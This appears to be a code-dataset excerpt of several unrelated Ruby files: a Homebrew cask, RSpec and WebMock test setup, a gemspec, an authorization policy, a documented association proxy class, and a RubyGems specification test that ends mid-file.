url 'http://www.jinx.de/JollysFastVNC_files/JollysFastVNC.current.dmg'
appcast 'https://www.jinx.de/JollysFastVNC.update.11.i386.xml'
name 'JollysFastVNC'
homepage 'https://www.jinx.de/JollysFastVNC.html'
depends_on macos: '>= :lion'
app 'JollysFastVNC.app'
uninstall quit: 'de.jinx.JollysFastVNC'
zap trash: [
'~/Library/Caches/de.jinx.JollysFastVNC',
'~/Library/Logs/JollysFastVNC.log*',
'~/Library/Preferences/de.jinx.JollysFastVNC.plist',
'~/Library/Saved Application State/de.jinx.JollysFastVNC.savedState',
]
end
| 31.73913 | 84 | 0.686301 |
28be77a652c8d703ce08480e25664c11201ffb23 | 1,313 | # frozen_string_literal: true
require 'webmock/rspec'
WebMock.disable_net_connect!(allow_localhost: true)
RSpec.configure do |config|
config.before(:each, :external) do
# Item Search
search_response = file_fixture('amazon_corgi_search_response.xml').read
stub_request(:get, 'webservices.amazon.com/onca/xml')
.with(query: hash_including('Operation' => 'ItemSearch',
'Keywords' => 'corgi'))
.to_return(body: search_response)
# Item Search with Spaces
search_response = file_fixture('amazon_corgi_pillow_search_response.xml').read
stub_request(:get, 'webservices.amazon.com/onca/xml')
.with(query: hash_including('Operation' => 'ItemSearch',
'Keywords' => 'corgi_pillow'))
.to_return(body: search_response)
# Item Lookup
lookup_response = file_fixture('amazon_corgi_lookup_response.xml').read
stub_request(:get, 'webservices.amazon.com/onca/xml')
.with(query: hash_including('Operation' => 'ItemLookup',
'ItemId' => 'corgi_asin'))
.to_return(body: lookup_response)
stub_request(:get, 'webservices.amazon.com/onca/xml')
.with(query: hash_including('Keywords' => 'return_an_error'))
.to_return(status: 500)
end
end
| 37.514286 | 82 | 0.66032 |
e8dc55f84f4e80c2b5bb10078f93ce547bdcbf66 | 1,076 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'omniauth/version'
Gem::Specification.new do |spec|
spec.add_dependency 'hashie', ['>= 3.4.6', '< 3.6.0']
spec.add_dependency 'rack', ['>= 1.6.2', '< 3']
spec.add_development_dependency 'bundler', '~> 1.14'
spec.add_development_dependency 'rake', '~> 12.0'
spec.authors = ['Michael Bleigh', 'Erik Michaels-Ober', 'Tom Milewski']
spec.description = 'A generalized Rack framework for multiple-provider authentication.'
spec.email = ['[email protected]', '[email protected]', '[email protected]']
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.start_with?('spec/') }
spec.homepage = 'https://github.com/omniauth/omniauth'
spec.licenses = %w[MIT]
spec.name = 'omniauth'
spec.require_paths = %w[lib]
spec.required_rubygems_version = '>= 1.3.5'
spec.required_ruby_version = '>= 2.1.6'
spec.summary = spec.description
spec.version = OmniAuth::VERSION
end
| 43.04 | 91 | 0.654275 |
1c8ddacd684e6e506bbc8e95ee25547834c3e6ec | 2,567 | gem 'minitest' # I feel like this messes with bundler, but only way to get minitest to shut up
require 'minitest/autorun'
require 'minitest/spec'
require 'webmock/minitest'
require 'traject'
require 'marc'
# keeps things from complaining about "yell-1.4.0/lib/yell/adapters/io.rb:66 warning: syswrite for buffered IO"
# for reasons I don't entirely understand, involving yell using syswrite and tests sometimes
# using $stderr.puts. https://github.com/TwP/logging/issues/31
STDERR.sync = true
# Hacky way to turn off Indexer logging by default, say only
# log things higher than fatal, which is nothing.
Traject::Indexer.singleton_class.prepend(Module.new do
def default_settings
super.merge("log.level" => "gt.fatal")
end
end)
def support_file_path(relative_path)
return File.expand_path(File.join("test_support", relative_path), File.dirname(__FILE__))
end
# The 'assert' method I don't know why it's not there
def assert_length(length, obj, msg = nil)
unless obj.respond_to? :length
raise ArgumentError, "object with assert_length must respond_to? :length", obj
end
msg ||= "Expected length of #{obj} to be #{length}, but was #{obj.length}"
assert_equal(length, obj.length, msg.to_s )
end
def assert_start_with(start_with, obj, msg = nil)
msg ||= "expected #{obj} to start with #{start_with}"
assert obj.start_with?(start_with), msg
end
# An empty record, for making sure extractors and macros work when
# the fields they're looking for aren't there
def empty_record
rec = MARC::Record.new
rec.append(MARC::ControlField.new('001', '000000000'))
rec
end
# pretends to be a Solr HTTPServer-like thing, just kind of mocks it up
# and records what happens and simulates errors in some cases.
class MockSolrServer
class Exception < RuntimeError;end
attr_accessor :things_added, :url, :committed, :parser, :shutted_down
def initialize(url)
@url = url
@things_added = []
@add_mutex = Mutex.new
end
def add(thing)
@add_mutex.synchronize do # easy peasy threadsafety for our mock
if @url == "http://no.such.place"
raise MockSolrServer::Exception.new("mock bad uri")
end
# simulate a multiple id error please
if [thing].flatten.find {|doc| doc.getField("id").getValueCount() != 1}
raise MockSolrServer::Exception.new("mock non-1 size of 'id'")
else
things_added << thing
end
end
end
def commit
@committed = true
end
def setParser(parser)
@parser = parser
end
def shutdown
@shutted_down = true
end
end
| 26.463918 | 111 | 0.712894 |
08a6656b974be2d27b1886bcdc726d9d6b637f07 | 305 | # frozen_string_literal: true
class PersonPolicy < ApplicationPolicy
def create?
user.present? && user.committer?
end
def update?
user.present? && user.committer?
end
def destroy?
user.present? && user.admin?
end
def unpublish?
user.present? && user.committer?
end
end
| 15.25 | 38 | 0.67541 |
1c04c095b0eab420431fa6d83ff2f88bcd122dc5 | 29,629 | module DuckRecord
module Associations
# Association proxies in Active Record are middlemen between the object that
# holds the association, known as the <tt>@owner</tt>, and the actual associated
# object, known as the <tt>@target</tt>. The kind of association any proxy is
# about is available in <tt>@reflection</tt>. That's an instance of the class
# ActiveRecord::Reflection::AssociationReflection.
#
# For example, given
#
# class Blog < ActiveRecord::Base
# has_many :posts
# end
#
# blog = Blog.first
#
# the association proxy in <tt>blog.posts</tt> has the object in +blog+ as
# <tt>@owner</tt>, the collection of its posts as <tt>@target</tt>, and
# the <tt>@reflection</tt> object represents a <tt>:has_many</tt> macro.
#
# This class delegates unknown methods to <tt>@target</tt> via
# <tt>method_missing</tt>.
#
# The <tt>@target</tt> object is not \loaded until needed. For example,
#
# blog.posts.count
#
# is computed directly through SQL and does not trigger by itself the
# instantiation of the actual post records.
class EmbedsManyProxy
include Enumerable
delegate :to_xml, :encode_with, :length, :collect, :map, :each, :all?, :include?, :to_ary, :join,
:[], :&, :|, :+, :-, :sample, :reverse, :compact, :in_groups, :in_groups_of,
:to_sentence, :to_formatted_s,
:shuffle, :split, :index, to: :records
delegate :target, :loaded?, to: :@association
attr_reader :klass
alias :model :klass
def initialize(klass, association) #:nodoc:
@klass = klass
@association = association
end
##
# :method: first
#
# :call-seq:
# first(limit = nil)
#
# Returns the first record, or the first +n+ records, from the collection.
# If the collection is empty, the first form returns +nil+, and the second
# form returns an empty array.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.first # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
#
# person.pets.first(2)
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>
# # ]
#
# another_person_without.pets # => []
# another_person_without.pets.first # => nil
# another_person_without.pets.first(3) # => []
##
# :method: second
#
# :call-seq:
# second()
#
# Same as #first except returns only the second record.
##
# :method: third
#
# :call-seq:
# third()
#
# Same as #first except returns only the third record.
##
# :method: fourth
#
# :call-seq:
# fourth()
#
# Same as #first except returns only the fourth record.
##
# :method: fifth
#
# :call-seq:
# fifth()
#
# Same as #first except returns only the fifth record.
##
# :method: forty_two
#
# :call-seq:
# forty_two()
#
# Same as #first except returns only the forty second record.
# Also known as accessing "the reddit".
##
# :method: third_to_last
#
# :call-seq:
# third_to_last()
#
# Same as #first except returns only the third-to-last record.
##
# :method: second_to_last
#
# :call-seq:
# second_to_last()
#
# Same as #first except returns only the second-to-last record.
# Returns a new object of the collection type that has been instantiated
# with +attributes+ and linked to this object, but have not yet been saved.
# You can pass an array of attributes hashes, this will return an array
# with the new objects.
#
# class Person
# has_many :pets
# end
#
# person.pets.build
# # => #<Pet id: nil, name: nil, person_id: 1>
#
# person.pets.build(name: 'Fancy-Fancy')
# # => #<Pet id: nil, name: "Fancy-Fancy", person_id: 1>
#
# person.pets.build([{name: 'Spook'}, {name: 'Choo-Choo'}, {name: 'Brain'}])
# # => [
# # #<Pet id: nil, name: "Spook", person_id: 1>,
# # #<Pet id: nil, name: "Choo-Choo", person_id: 1>,
# # #<Pet id: nil, name: "Brain", person_id: 1>
# # ]
#
# person.pets.size # => 5 # size of the collection
# person.pets.count # => 0 # count from database
def build(attributes = {}, &block)
proxy_association.build(attributes, &block)
end
alias_method :new, :build
# Add one or more records to the collection by setting their foreign keys
# to the association's primary key. Since #<< flattens its argument list and
# inserts each record, +push+ and #concat behave identically. Returns +self+
# so method calls may be chained.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.size # => 0
# person.pets.concat(Pet.new(name: 'Fancy-Fancy'))
# person.pets.concat(Pet.new(name: 'Spook'), Pet.new(name: 'Choo-Choo'))
# person.pets.size # => 3
#
# person.id # => 1
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.concat([Pet.new(name: 'Brain'), Pet.new(name: 'Benny')])
# person.pets.size # => 5
def concat(*records)
proxy_association.concat(*records)
end
# Replaces this collection with +other_array+. This will perform a diff
# and delete/add only records that have changed.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets
# # => [#<Pet id: 1, name: "Gorby", group: "cats", person_id: 1>]
#
# other_pets = [Pet.new(name: 'Puff', group: 'celebrities']
#
# person.pets.replace(other_pets)
#
# person.pets
# # => [#<Pet id: 2, name: "Puff", group: "celebrities", person_id: 1>]
#
# If the supplied array has an incorrect association type, it raises
# an <tt>ActiveRecord::AssociationTypeMismatch</tt> error:
#
# person.pets.replace(["doo", "ggie", "gaga"])
# # => ActiveRecord::AssociationTypeMismatch: Pet expected, got String
def replace(other_array)
proxy_association.replace(other_array)
end
# Deletes all the records from the collection according to the strategy
# specified by the +:dependent+ option. If no +:dependent+ option is given,
# then it will follow the default strategy.
#
# For <tt>has_many :through</tt> associations, the default deletion strategy is
# +:delete_all+.
#
# For +has_many+ associations, the default deletion strategy is +:nullify+.
# This sets the foreign keys to +NULL+.
#
# class Person < ActiveRecord::Base
# has_many :pets # dependent: :nullify option by default
# end
#
# person.pets.size # => 3
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.delete_all
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.size # => 0
# person.pets # => []
#
# Pet.find(1, 2, 3)
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: nil>,
# # #<Pet id: 2, name: "Spook", person_id: nil>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: nil>
# # ]
#
# Both +has_many+ and <tt>has_many :through</tt> dependencies default to the
# +:delete_all+ strategy if the +:dependent+ option is set to +:destroy+.
# Records are not instantiated and callbacks will not be fired.
#
# class Person < ActiveRecord::Base
# has_many :pets, dependent: :destroy
# end
#
# person.pets.size # => 3
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.delete_all
#
# Pet.find(1, 2, 3)
# # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3)
#
# If it is set to <tt>:delete_all</tt>, all the objects are deleted
# *without* calling their +destroy+ method.
#
# class Person < ActiveRecord::Base
# has_many :pets, dependent: :delete_all
# end
#
# person.pets.size # => 3
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.delete_all
#
# Pet.find(1, 2, 3)
# # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3)
def delete_all
proxy_association.delete_all
end
# Deletes the records of the collection directly from the database
# ignoring the +:dependent+ option. Records are instantiated and it
# invokes +before_remove+, +after_remove+ , +before_destroy+ and
# +after_destroy+ callbacks.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.size # => 3
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.destroy_all
#
# person.pets.size # => 0
# person.pets # => []
#
# Pet.find(1) # => Couldn't find Pet with id=1
def destroy_all
proxy_association.destroy_all
end
# Deletes the +records+ supplied from the collection according to the strategy
# specified by the +:dependent+ option. If no +:dependent+ option is given,
# then it will follow the default strategy. Returns an array with the
# deleted records.
#
# For <tt>has_many :through</tt> associations, the default deletion strategy is
# +:delete_all+.
#
# For +has_many+ associations, the default deletion strategy is +:nullify+.
# This sets the foreign keys to +NULL+.
#
# class Person < ActiveRecord::Base
# has_many :pets # dependent: :nullify option by default
# end
#
# person.pets.size # => 3
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.delete(Pet.find(1))
# # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
#
# person.pets.size # => 2
# person.pets
# # => [
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# Pet.find(1)
# # => #<Pet id: 1, name: "Fancy-Fancy", person_id: nil>
#
# If it is set to <tt>:destroy</tt> all the +records+ are removed by calling
# their +destroy+ method. See +destroy+ for more information.
#
# class Person < ActiveRecord::Base
# has_many :pets, dependent: :destroy
# end
#
# person.pets.size # => 3
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.delete(Pet.find(1), Pet.find(3))
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.size # => 1
# person.pets
# # => [#<Pet id: 2, name: "Spook", person_id: 1>]
#
# Pet.find(1, 3)
# # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 3)
#
# If it is set to <tt>:delete_all</tt>, all the +records+ are deleted
# *without* calling their +destroy+ method.
#
# class Person < ActiveRecord::Base
# has_many :pets, dependent: :delete_all
# end
#
# person.pets.size # => 3
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.delete(Pet.find(1))
# # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
#
# person.pets.size # => 2
# person.pets
# # => [
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# Pet.find(1)
# # => ActiveRecord::RecordNotFound: Couldn't find Pet with 'id'=1
#
# You can pass +Integer+ or +String+ values, it finds the records
# responding to the +id+ and executes delete on them.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.size # => 3
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.delete("1")
# # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
#
# person.pets.delete(2, 3)
# # => [
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
def delete(*records)
proxy_association.delete(*records)
end
# Destroys the +records+ supplied and removes them from the collection.
# This method will _always_ remove record from the database ignoring
# the +:dependent+ option. Returns an array with the removed records.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.size # => 3
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.destroy(Pet.find(1))
# # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
#
# person.pets.size # => 2
# person.pets
# # => [
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.destroy(Pet.find(2), Pet.find(3))
# # => [
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.size # => 0
# person.pets # => []
#
# Pet.find(1, 2, 3) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3)
#
# You can pass +Integer+ or +String+ values, it finds the records
# responding to the +id+ and then deletes them from the database.
#
# person.pets.size # => 3
# person.pets
# # => [
# # #<Pet id: 4, name: "Benny", person_id: 1>,
# # #<Pet id: 5, name: "Brain", person_id: 1>,
# # #<Pet id: 6, name: "Boss", person_id: 1>
# # ]
#
# person.pets.destroy("4")
# # => #<Pet id: 4, name: "Benny", person_id: 1>
#
# person.pets.size # => 2
# person.pets
# # => [
# # #<Pet id: 5, name: "Brain", person_id: 1>,
# # #<Pet id: 6, name: "Boss", person_id: 1>
# # ]
#
# person.pets.destroy(5, 6)
# # => [
# # #<Pet id: 5, name: "Brain", person_id: 1>,
# # #<Pet id: 6, name: "Boss", person_id: 1>
# # ]
#
# person.pets.size # => 0
# person.pets # => []
#
# Pet.find(4, 5, 6) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (4, 5, 6)
def destroy(*records)
proxy_association.destroy(*records)
end
##
# :method: distinct
#
# :call-seq:
# distinct(value = true)
#
# Specifies whether the records should be unique or not.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.select(:name)
# # => [
# # #<Pet name: "Fancy-Fancy">,
# # #<Pet name: "Fancy-Fancy">
# # ]
#
# person.pets.select(:name).distinct
# # => [#<Pet name: "Fancy-Fancy">]
#
# person.pets.select(:name).distinct.distinct(false)
# # => [
# # #<Pet name: "Fancy-Fancy">,
# # #<Pet name: "Fancy-Fancy">
# # ]
#--
def uniq
proxy_association.uniq
end
##
# :method: count
#
# :call-seq:
# count(column_name = nil, &block)
#
# Count all records.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# # This will perform the count using SQL.
# person.pets.count # => 3
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# Passing a block will select all of a person's pets in SQL and then
# perform the count using Ruby.
#
# person.pets.count { |pet| pet.name.include?('-') } # => 2
# Returns the size of the collection. If the collection hasn't been loaded,
# it executes a <tt>SELECT COUNT(*)</tt> query. Else it calls <tt>collection.size</tt>.
#
# If the collection has been already loaded +size+ and +length+ are
# equivalent. If not and you are going to need the records anyway
# +length+ will take one less query. Otherwise +size+ is more efficient.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.size # => 3
# # executes something like SELECT COUNT(*) FROM "pets" WHERE "pets"."person_id" = 1
#
# person.pets # This will execute a SELECT * FROM query
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
#
# person.pets.size # => 3
# # Because the collection is already loaded, this will behave like
# # collection.size and no SQL count query is executed.
def size
proxy_association.size
end
##
# :method: length
#
# :call-seq:
# length()
#
# Returns the size of the collection calling +size+ on the target.
# If the collection has been already loaded, +length+ and +size+ are
# equivalent. If not and you are going to need the records anyway this
# method will take one less query. Otherwise +size+ is more efficient.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.length # => 3
# # executes something like SELECT "pets".* FROM "pets" WHERE "pets"."person_id" = 1
#
# # Because the collection is loaded, you can
# # call the collection with no additional queries:
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
# Returns +true+ if the collection is empty. If the collection has been
# loaded it is equivalent
# to <tt>collection.size.zero?</tt>. If the collection has not been loaded,
# it is equivalent to <tt>!collection.exists?</tt>. If the collection has
# not already been loaded and you are going to fetch the records anyway it
# is better to check <tt>collection.length.zero?</tt>.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.count # => 1
# person.pets.empty? # => false
#
# person.pets.delete_all
#
# person.pets.count # => 0
# person.pets.empty? # => true
def empty?
proxy_association.empty?
end
##
# :method: any?
#
# :call-seq:
# any?()
#
# Returns +true+ if the collection is not empty.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.count # => 0
# person.pets.any? # => false
#
# person.pets << Pet.new(name: 'Snoop')
# person.pets.count # => 1
# person.pets.any? # => true
#
# You can also pass a +block+ to define criteria. The behavior
# is the same, it returns true if the collection based on the
# criteria is not empty.
#
# person.pets
# # => [#<Pet name: "Snoop", group: "dogs">]
#
# person.pets.any? do |pet|
# pet.group == 'cats'
# end
# # => false
#
# person.pets.any? do |pet|
# pet.group == 'dogs'
# end
# # => true
##
# :method: many?
#
# :call-seq:
# many?()
#
# Returns true if the collection has more than one record.
# Equivalent to <tt>collection.size > 1</tt>.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.count # => 1
# person.pets.many? # => false
#
# person.pets << Pet.new(name: 'Snoopy')
# person.pets.count # => 2
# person.pets.many? # => true
#
# You can also pass a +block+ to define criteria. The
# behavior is the same, it returns true if the collection
# based on the criteria has more than one record.
#
# person.pets
# # => [
# # #<Pet name: "Gorby", group: "cats">,
# # #<Pet name: "Puff", group: "cats">,
# # #<Pet name: "Snoop", group: "dogs">
# # ]
#
# person.pets.many? do |pet|
# pet.group == 'dogs'
# end
# # => false
#
# person.pets.many? do |pet|
# pet.group == 'cats'
# end
# # => true
# Returns +true+ if the given +record+ is present in the collection.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets # => [#<Pet id: 20, name: "Snoop">]
#
# person.pets.include?(Pet.find(20)) # => true
# person.pets.include?(Pet.find(21)) # => false
def include?(record)
!!proxy_association.include?(record)
end
def proxy_association
@association
end
# Equivalent to <tt>Array#==</tt>. Returns +true+ if the two arrays
# contain the same number of elements and if each element is equal
# to the corresponding element in the +other+ array, otherwise returns
# +false+.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>
# # ]
#
# other = person.pets.to_ary
#
# person.pets == other
# # => true
#
# other = [Pet.new(id: 1), Pet.new(id: 2)]
#
# person.pets == other
# # => false
def ==(other)
proxy_association.target == other
end
# Returns a new array of objects from the collection. If the collection
# hasn't been loaded, it fetches the records from the database.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets
# # => [
# # #<Pet id: 4, name: "Benny", person_id: 1>,
# # #<Pet id: 5, name: "Brain", person_id: 1>,
# # #<Pet id: 6, name: "Boss", person_id: 1>
# # ]
#
# other_pets = person.pets.to_ary
# # => [
# # #<Pet id: 4, name: "Benny", person_id: 1>,
# # #<Pet id: 5, name: "Brain", person_id: 1>,
# # #<Pet id: 6, name: "Boss", person_id: 1>
# # ]
#
# other_pets.replace([Pet.new(name: 'BooGoo')])
#
# other_pets
# # => [#<Pet id: nil, name: "BooGoo", person_id: 1>]
#
# person.pets
# # This is not affected by replace
# # => [
# # #<Pet id: 4, name: "Benny", person_id: 1>,
# # #<Pet id: 5, name: "Brain", person_id: 1>,
# # #<Pet id: 6, name: "Boss", person_id: 1>
# # ]
def to_ary
proxy_association.target.dup
end
alias_method :to_a, :to_ary
def records # :nodoc:
proxy_association.target
end
# Adds one or more +records+ to the collection by setting their foreign keys
# to the association's primary key. Returns +self+, so several appends may be
# chained together.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets.size # => 0
# person.pets << Pet.new(name: 'Fancy-Fancy')
# person.pets << [Pet.new(name: 'Spook'), Pet.new(name: 'Choo-Choo')]
# person.pets.size # => 3
#
# person.id # => 1
# person.pets
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
def <<(*records)
proxy_association.concat(records) && self
end
alias_method :push, :<<
alias_method :append, :<<
def prepend(*_args)
raise NoMethodError, "prepend on association is not defined. Please use <<, push or append"
end
# Equivalent to +delete_all+. The difference is that returns +self+, instead
# of an array with the deleted objects, so methods can be chained. See
# +delete_all+ for more information.
# Note that because +delete_all+ removes records by directly
# running an SQL query into the database, the +updated_at+ column of
# the object is not changed.
def clear
delete_all
self
end
# Unloads the association. Returns +self+.
#
# class Person < ActiveRecord::Base
# has_many :pets
# end
#
# person.pets # fetches pets from the database
# # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
#
# person.pets # uses the pets cache
# # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
#
# person.pets.reset # clears the pets cache
#
# person.pets # fetches pets from the database
# # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
def reset
proxy_association.reset
self
end
def inspect
entries = records.take(11).map!(&:inspect)
entries[10] = "..." if entries.size == 11
"#<#{self.class.name} [#{entries.join(', ')}]>"
end
end
end
end
| 33.179171 | 106 | 0.496574 |
3321bb7ded5403324e83c2ccf99aba28cdbb2fe8 | 612 | class PayloadLogEntry < ActiveRecord::Base
belongs_to :project
default_scope { order('created_at DESC') }
scope :reverse_chronological, -> () { order('created_at DESC') }
scope :recent, -> (count = 1) {
rankings = "SELECT id, RANK() OVER(PARTITION BY project_id ORDER BY created_at DESC) rank FROM payload_log_entries"
joins("INNER JOIN (#{rankings}) rankings ON rankings.id = payload_log_entries.id")
.where("rankings.rank < :count", count: count + 1)
.order(created_at: :desc)
}
def self.latest
recent.first
end
def to_s
"#{update_method} #{status}"
end
end
| 25.5 | 119 | 0.676471 |
91220f1e8a60fc50b97533113223c10f7a8c38cc | 32,728 | require 'rubygems/test_case'
require 'stringio'
require 'rubygems/specification'
class TestGemSpecification < Gem::TestCase
LEGACY_YAML_SPEC = <<-EOF
--- !ruby/object:Gem::Specification
rubygems_version: "1.0"
name: keyedlist
version: !ruby/object:Gem::Version
version: 0.4.0
date: 2004-03-28 15:37:49.828000 +02:00
platform:
summary: A Hash which automatically computes keys.
require_paths:
- lib
files:
- lib/keyedlist.rb
autorequire: keyedlist
author: Florian Gross
email: [email protected]
has_rdoc: true
EOF
LEGACY_RUBY_SPEC = <<-EOF
Gem::Specification.new do |s|
s.name = %q{keyedlist}
s.version = %q{0.4.0}
s.has_rdoc = true
s.summary = %q{A Hash which automatically computes keys.}
s.files = ["lib/keyedlist.rb"]
s.require_paths = ["lib"]
s.autorequire = %q{keyedlist}
s.author = %q{Florian Gross}
s.email = %q{[email protected]}
end
EOF
def setup
super
@a1 = quick_gem 'a', '1' do |s|
s.executable = 'exec'
s.extensions << 'ext/a/extconf.rb'
s.has_rdoc = 'true'
s.test_file = 'test/suite.rb'
s.requirements << 'A working computer'
s.rubyforge_project = 'example'
s.license = 'MIT'
s.add_dependency 'rake', '> 0.4'
s.add_dependency 'jabber4r', '> 0.0.0'
s.add_dependency 'pqa', ['> 0.4', '<= 0.6']
s.mark_version
s.files = %w[lib/code.rb]
end
@a2 = quick_gem 'a', '2' do |s|
s.files = %w[lib/code.rb]
end
FileUtils.mkdir_p File.join(@tempdir, 'bin')
File.open File.join(@tempdir, 'bin', 'exec'), 'w' do |fp|
fp.puts "#!#{Gem.ruby}"
end
@current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
end
def test_self_attribute_names
expected_value = %w[
authors
autorequire
bindir
cert_chain
date
default_executable
dependencies
description
email
executables
extensions
extra_rdoc_files
files
has_rdoc
homepage
licenses
name
platform
post_install_message
rdoc_options
require_paths
required_ruby_version
required_rubygems_version
requirements
rubyforge_project
rubygems_version
signing_key
specification_version
summary
test_files
version
]
actual_value = Gem::Specification.attribute_names.map { |a| a.to_s }.sort
assert_equal expected_value, actual_value
end
def test_self__load_future
spec = Gem::Specification.new
spec.name = 'a'
spec.version = '1'
spec.specification_version = @current_version + 1
new_spec = Marshal.load Marshal.dump(spec)
assert_equal 'a', new_spec.name
assert_equal Gem::Version.new(1), new_spec.version
assert_equal @current_version, new_spec.specification_version
end
def test_self_load
